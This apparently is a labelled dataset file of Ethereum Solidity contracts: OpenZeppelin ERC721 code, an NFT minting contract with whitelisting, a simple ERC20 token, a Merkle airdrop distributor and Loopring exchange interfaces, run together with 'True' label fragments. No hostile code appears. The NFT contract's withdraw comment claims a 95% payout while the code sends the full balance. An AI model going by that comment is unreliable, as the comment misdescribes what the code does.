return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// File: @openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol
pragma solidity ^0.8.0;
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
pragma solidity >=0.7.0 <0.9.0;
contract DumbThumbsandLameBrains is ERC721Enumerable, Ownable {
using Strings for uint256;
string public baseURI;
string public baseExtension = ".json";
string public notRevealedUri;
uint256 public cost = 0 ether;
uint256 public maxSupply = 12000;
uint256 public maxMintAmount = 2;
uint256 public nftPerAddressLimit = 2;
bool public paused = false;
bool public revealed = true;
bool public onlyWhitelisted = true;
address[] public whitelistedAddresses;
mapping(address => uint256) public addressMintedBalance;
constructor(
string memory _name,
string memory _symbol,
string memory _initBaseURI,
string memory _initNotRevealedUri
) ERC721(_name, _symbol) {
setBaseURI(_initBaseURI);
setNotRevealedURI(_initNotRevealedUri);
}
// internal
function _baseURI() internal view virtual override returns (string memory) {
return baseURI;
}
// public
function mint(uint256 _mintAmount) public payable {
require(!paused, "the contract is paused");
uint256 supply = totalSupply();
require(_mintAmount > 0, "need to mint at least 1 NFT");
require(_mintAmount <= maxMintAmount, "max mint amount per session exceeded");
require(supply + _mintAmount <= maxSupply, "max NFT limit exceeded");
if (msg.sender != owner()) {
if(onlyWhitelisted == true) {
require(isWhitelisted(msg.sender), "user is not whitelisted");
uint256 ownerMintedCount = addressMintedBalance[msg.sender];
require(ownerMintedCount + _mintAmount <= nftPerAddressLimit, "max NFT per address exceeded");
}
require(msg.value >= cost * _mintAmount, "insufficient funds");
}
for (uint256 i = 1; i <= _mintAmount; i++) {
addressMintedBalance[msg.sender]++;
_safeMint(msg.sender, supply + i);
}
}
function isWhitelisted(address _user) public view returns (bool) {
for (uint i = 0; i < whitelistedAddresses.length; i++) {
if (whitelistedAddresses[i] == _user) {
return true;
}
}
return false;
}
function walletOfOwner(address _owner)
public
view
returns (uint256[] memory)
{
uint256 ownerTokenCount = balanceOf(_owner);
uint256[] memory tokenIds = new uint256[](ownerTokenCount);
for (uint256 i; i < ownerTokenCount; i++) {
tokenIds[i] = tokenOfOwnerByIndex(_owner, i);
}
return tokenIds;
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
require(
_exists(tokenId),
"ERC721Metadata: URI query for nonexistent token"
);
if(revealed == false) {
return notRevealedUri;
}
string memory currentBaseURI = _baseURI();
return bytes(currentBaseURI).length > 0
? string(abi.encodePacked(currentBaseURI, tokenId.toString(), baseExtension))
: "";
}
//only owner
function reveal() public onlyOwner {
revealed = true;
}
function setNftPerAddressLimit(uint256 _limit) public onlyOwner {
nftPerAddressLimit = _limit;
}
function setCost(uint256 _newCost) public onlyOwner {
cost = _newCost;
}
function setmaxMintAmount(uint256 _newmaxMintAmount) public onlyOwner {
maxMintAmount = _newmaxMintAmount;
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
baseURI = _newBaseURI;
}
function setBaseExtension(string memory _newBaseExtension) public onlyOwner {
baseExtension = _newBaseExtension;
}
function setNotRevealedURI(string memory _notRevealedURI) public onlyOwner {
notRevealedUri = _notRevealedURI;
}
function pause(bool _state) public onlyOwner {
paused = _state;
}
function setOnlyWhitelisted(bool _state) public onlyOwner {
onlyWhitelisted = _state;
}
function whitelistUsers(address[] calldata _users) public onlyOwner {
delete whitelistedAddresses;
whitelistedAddresses = _users;
}
function withdraw() public payable onlyOwner {
// This will payout the owner 95% of the contract balance.
// Do not remove this otherwise you will not be able to withdraw the funds.
// =============================================================================
(bool os, ) = payable(owner()).call{value: address(this).balance}("");
require(os);
// =============================================================================
}
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/**
*Submitted for verification at Etherscan.io on 2021-10-19
*/
pragma solidity ^0.5.0;
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
//
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public view returns (uint);
function balanceOf(address tokenOwner) public view returns (uint balance);
function allowance(address tokenOwner, address spender) public view returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Safe Math Library
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0);
c = a / b;
}
}
contract toebeans is ERC20Interface, SafeMath {
string public name;
string public symbol;
uint8 public decimals; // 18 decimals is the strongly suggested default, avoid changing it
uint256 public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
/**
* Constrctor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
constructor() public {
name = "toebeans";
symbol = "beans";
decimals =18;
_totalSupply = 100000000000000000000000000;
balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
function totalSupply() public view returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-09-22
*/
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.3;
interface IERC20Mintable {
function mint(address _receiver, uint256 _amount) external returns (bool);
}
contract MerkleDistributor {
bytes32[] public merkleRoots;
event Claimed(
uint256 merkleIndex,
uint256 index,
address account,
uint256 amount
);
event NewMerkleRoot(uint256 merkleIndex, bytes32 root);
// This is a packed array of booleans.
mapping(uint256 => mapping(uint256 => uint256)) private claimedBitMap;
address public owner;
IERC20Mintable public token;
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
constructor(address _owner, IERC20Mintable _token) public {
owner = _owner;
token = _token;
}
function transferOwnership(address _newOwner) external onlyOwner {
owner = _newOwner;
}
function addMerkleRoot(bytes32 _merkleRoot) public onlyOwner {
merkleRoots.push(_merkleRoot);
emit NewMerkleRoot(merkleRoots.length - 1, _merkleRoot);
}
function isClaimed(uint256 merkleIndex, uint256 index)
public
view
returns (bool)
{
uint256 claimedWordIndex = index / 256;
uint256 claimedBitIndex = index % 256;
uint256 claimedWord = claimedBitMap[merkleIndex][claimedWordIndex];
uint256 mask = (1 << claimedBitIndex);
return claimedWord & mask == mask;
}
function _setClaimed(uint256 merkleIndex, uint256 index) private {
uint256 claimedWordIndex = index / 256;
uint256 claimedBitIndex = index % 256;
claimedBitMap[merkleIndex][claimedWordIndex] =
claimedBitMap[merkleIndex][claimedWordIndex] |
(1 << claimedBitIndex);
}
function claim(
uint256 merkleIndex,
uint256 index,
uint256 amount,
bytes32[] calldata merkleProof
) external {
require(
merkleIndex < merkleRoots.length,
"MerkleDistributor: Invalid merkleIndex"
);
require(
!isClaimed(merkleIndex, index),
"MerkleDistributor: Drop already claimed."
);
// Verify the merkle proof.
bytes32 node = keccak256(abi.encodePacked(index, msg.sender, amount));
require(
verify(merkleProof, merkleRoots[merkleIndex], node),
"MerkleDistributor: Invalid proof."
);
// Mark it claimed and send the token.
_setClaimed(merkleIndex, index);
token.mint(msg.sender, amount);
emit Claimed(merkleIndex, index, msg.sender, amount);
}
function verify(
bytes32[] calldata proof,
bytes32 root,
bytes32 leaf
) internal pure returns (bool) {
bytes32 computedHash = leaf;
for (uint256 i = 0; i < proof.length; i++) {
bytes32 proofElement = proof[i];
if (computedHash <= proofElement) {
// Hash(current computed hash + current element of the proof)
computedHash = keccak256(
abi.encodePacked(computedHash, proofElement)
);
} else {
// Hash(current element of the proof + current computed hash)
computedHash = keccak256(
abi.encodePacked(proofElement, computedHash)
);
}
}
// Check if the computed hash (root) is equal to the provided root
return computedHash == root;
}
} | True | [
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] |
/**
*Submitted for verification at Etherscan.io on 2021-08-28
*/
// SPDX-License-Identifier: Apache-2.0
pragma solidity ^0.7.0;
pragma experimental ABIEncoderV2;
// File: contracts/lib/MathUint.sol
// Copyright 2017 Loopring Technology Limited.
/// @title Utility Functions for uint
/// @author Daniel Wang - <[email protected]>
library MathUint
{
using MathUint for uint;
function mul(
uint a,
uint b
)
internal
pure
returns (uint c)
{
c = a * b;
require(a == 0 || c / a == b, "MUL_OVERFLOW");
}
function sub(
uint a,
uint b
)
internal
pure
returns (uint)
{
require(b <= a, "SUB_UNDERFLOW");
return a - b;
}
function add(
uint a,
uint b
)
internal
pure
returns (uint c)
{
c = a + b;
require(c >= a, "ADD_OVERFLOW");
}
function add64(
uint64 a,
uint64 b
)
internal
pure
returns (uint64 c)
{
c = a + b;
require(c >= a, "ADD_OVERFLOW");
}
}
// File: contracts/core/iface/IAgentRegistry.sol
// Copyright 2017 Loopring Technology Limited.
interface IAgent{}
abstract contract IAgentRegistry
{
/// @dev Returns whether an agent address is an agent of an account owner
/// @param owner The account owner.
/// @param agent The agent address
/// @return True if the agent address is an agent for the account owner, else false
function isAgent(
address owner,
address agent
)
external
virtual
view
returns (bool);
/// @dev Returns whether an agent address is an agent of all account owners
/// @param owners The account owners.
/// @param agent The agent address
/// @return True if the agent address is an agent for the account owner, else false
function isAgent(
address[] calldata owners,
address agent
)
external
virtual
view
returns (bool);
/// @dev Returns whether an agent address is a universal agent.
/// @param agent The agent address
/// @return True if the agent address is a universal agent, else false
function isUniversalAgent(address agent)
public
virtual
view
returns (bool);
}
// File: contracts/lib/Ownable.sol
// Copyright 2017 Loopring Technology Limited.
/// @title Ownable
/// @author Brecht Devos - <[email protected]>
/// @dev The Ownable contract has an owner address, and provides basic
/// authorization control functions, this simplifies the implementation of
/// "user permissions".
contract Ownable
{
address public owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/// @dev The Ownable constructor sets the original `owner` of the contract
/// to the sender.
constructor()
{
owner = msg.sender;
}
/// @dev Throws if called by any account other than the owner.
modifier onlyOwner()
{
require(msg.sender == owner, "UNAUTHORIZED");
_;
}
/// @dev Allows the current owner to transfer control of the contract to a
/// new owner.
/// @param newOwner The address to transfer ownership to.
function transferOwnership(
address newOwner
)
public
virtual
onlyOwner
{
require(newOwner != address(0), "ZERO_ADDRESS");
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
function renounceOwnership()
public
onlyOwner
{
emit OwnershipTransferred(owner, address(0));
owner = address(0);
}
}
// File: contracts/lib/Claimable.sol
// Copyright 2017 Loopring Technology Limited.
/// @title Claimable
/// @author Brecht Devos - <[email protected]>
/// @dev Extension for the Ownable contract, where the ownership needs
/// to be claimed. This allows the new owner to accept the transfer.
contract Claimable is Ownable
{
address public pendingOwner;
/// @dev Modifier throws if called by any account other than the pendingOwner.
modifier onlyPendingOwner() {
require(msg.sender == pendingOwner, "UNAUTHORIZED");
_;
}
/// @dev Allows the current owner to set the pendingOwner address.
/// @param newOwner The address to transfer ownership to.
function transferOwnership(
address newOwner
)
public
override
onlyOwner
{
require(newOwner != address(0) && newOwner != owner, "INVALID_ADDRESS");
pendingOwner = newOwner;
}
/// @dev Allows the pendingOwner address to finalize the transfer.
function claimOwnership()
public
onlyPendingOwner
{
emit OwnershipTransferred(owner, pendingOwner);
owner = pendingOwner;
pendingOwner = address(0);
}
}
// File: contracts/core/iface/IBlockVerifier.sol
// Copyright 2017 Loopring Technology Limited.
/// @title IBlockVerifier
/// @author Brecht Devos - <[email protected]>
abstract contract IBlockVerifier is Claimable
{
// -- Events --
event CircuitRegistered(
uint8 indexed blockType,
uint16 blockSize,
uint8 blockVersion
);
event CircuitDisabled(
uint8 indexed blockType,
uint16 blockSize,
uint8 blockVersion
);
// -- Public functions --
/// @dev Sets the verifying key for the specified circuit.
/// Every block permutation needs its own circuit and thus its own set of
/// verification keys. Only a limited number of block sizes per block
/// type are supported.
/// @param blockType The type of the block
/// @param blockSize The number of requests handled in the block
/// @param blockVersion The block version (i.e. which circuit version needs to be used)
/// @param vk The verification key
function registerCircuit(
uint8 blockType,
uint16 blockSize,
uint8 blockVersion,
uint[18] calldata vk
)
external
virtual;
/// @dev Disables the use of the specified circuit.
/// @param blockType The type of the block
/// @param blockSize The number of requests handled in the block
/// @param blockVersion The block version (i.e. which circuit version needs to be used)
function disableCircuit(
uint8 blockType,
uint16 blockSize,
uint8 blockVersion
)
external
virtual;
/// @dev Verifies blocks with the given public data and proofs.
/// Verifying a block makes sure all requests handled in the block
/// are correctly handled by the operator.
/// @param blockType The type of block
/// @param blockSize The number of requests handled in the block
/// @param blockVersion The block version (i.e. which circuit version needs to be used)
/// @param publicInputs The hash of all the public data of the blocks
/// @param proofs The ZK proofs proving that the blocks are correct
/// @return True if the block is valid, false otherwise
function verifyProofs(
uint8 blockType,
uint16 blockSize,
uint8 blockVersion,
uint[] calldata publicInputs,
uint[] calldata proofs
)
external
virtual
view
returns (bool);
/// @dev Checks if a circuit with the specified parameters is registered.
/// @param blockType The type of the block
/// @param blockSize The number of requests handled in the block
/// @param blockVersion The block version (i.e. which circuit version needs to be used)
/// @return True if the circuit is registered, false otherwise
function isCircuitRegistered(
uint8 blockType,
uint16 blockSize,
uint8 blockVersion
)
external
virtual
view
returns (bool);
/// @dev Checks if a circuit can still be used to commit new blocks.
/// @param blockType The type of the block
/// @param blockSize The number of requests handled in the block
/// @param blockVersion The block version (i.e. which circuit version needs to be used)
/// @return True if the circuit is enabled, false otherwise
function isCircuitEnabled(
uint8 blockType,
uint16 blockSize,
uint8 blockVersion
)
external
virtual
view
returns (bool);
}
// File: contracts/core/iface/IDepositContract.sol
// Copyright 2017 Loopring Technology Limited.
/// @title IDepositContract.
/// @dev Contract storing and transferring funds for an exchange.
///
/// ERC1155 tokens can be supported by registering pseudo token addresses calculated
/// as `address(keccak256(real_token_address, token_params))`. Then the custom
/// deposit contract can look up the real token address and paramsters with the
/// pseudo token address before doing the transfers.
/// @author Brecht Devos - <[email protected]>
interface IDepositContract
{
/// @dev Returns if a token is suppoprted by this contract.
function isTokenSupported(address token)
external
view
returns (bool);
/// @dev Transfers tokens from a user to the exchange. This function will
/// be called when a user deposits funds to the exchange.
/// In a simple implementation the funds are simply stored inside the
/// deposit contract directly. More advanced implementations may store the funds
/// in some DeFi application to earn interest, so this function could directly
/// call the necessary functions to store the funds there.
///
/// This function needs to throw when an error occurred!
///
/// This function can only be called by the exchange.
///
/// @param from The address of the account that sends the tokens.
/// @param token The address of the token to transfer (`0x0` for ETH).
/// @param amount The amount of tokens to transfer.
/// @param extraData Opaque data that can be used by the contract to handle the deposit
/// @return amountReceived The amount to deposit to the user's account in the Merkle tree
function deposit(
address from,
address token,
uint96 amount,
bytes calldata extraData
)
external
payable
returns (uint96 amountReceived);
/// @dev Transfers tokens from the exchange to a user. This function will
/// be called when a withdrawal is done for a user on the exchange.
/// In the simplest implementation the funds are simply stored inside the
/// deposit contract directly so this simply transfers the requested tokens back
/// to the user. More advanced implementations may store the funds
/// in some DeFi application to earn interest so the function would
/// need to get those tokens back from the DeFi application first before they
/// can be transferred to the user.
///
/// This function needs to throw when an error occurred!
///
/// This function can only be called by the exchange.
///
/// @param from The address from which 'amount' tokens are transferred.
/// @param to The address to which 'amount' tokens are transferred.
/// @param token The address of the token to transfer (`0x0` for ETH).
/// @param amount The amount of tokens transferred.
/// @param extraData Opaque data that can be used by the contract to handle the withdrawal
function withdraw(
address from,
address to,
address token,
uint amount,
bytes calldata extraData
)
external
payable;
/// @dev Transfers tokens (ETH not supported) for a user using the allowance set
/// for the exchange. This way the approval can be used for all functionality (and
/// extended functionality) of the exchange.
/// Should NOT be used to deposit/withdraw user funds, `deposit`/`withdraw`
/// should be used for that as they will contain specialised logic for those operations.
/// This function can be called by the exchange to transfer onchain funds of users
/// necessary for Agent functionality.
///
/// This function needs to throw when an error occurred!
///
/// This function can only be called by the exchange.
///
/// @param from The address of the account that sends the tokens.
/// @param to The address to which 'amount' tokens are transferred.
/// @param token The address of the token to transfer (ETH is and cannot be suppported).
/// @param amount The amount of tokens transferred.
function transfer(
address from,
address to,
address token,
uint amount
)
external
payable;
/// @dev Checks if the given address is used for depositing ETH or not.
/// Is used while depositing to send the correct ETH amount to the deposit contract.
///
/// Note that 0x0 is always registered for deposting ETH when the exchange is created!
/// This function allows additional addresses to be used for depositing ETH, the deposit
/// contract can implement different behaviour based on the address value.
///
/// @param addr The address to check
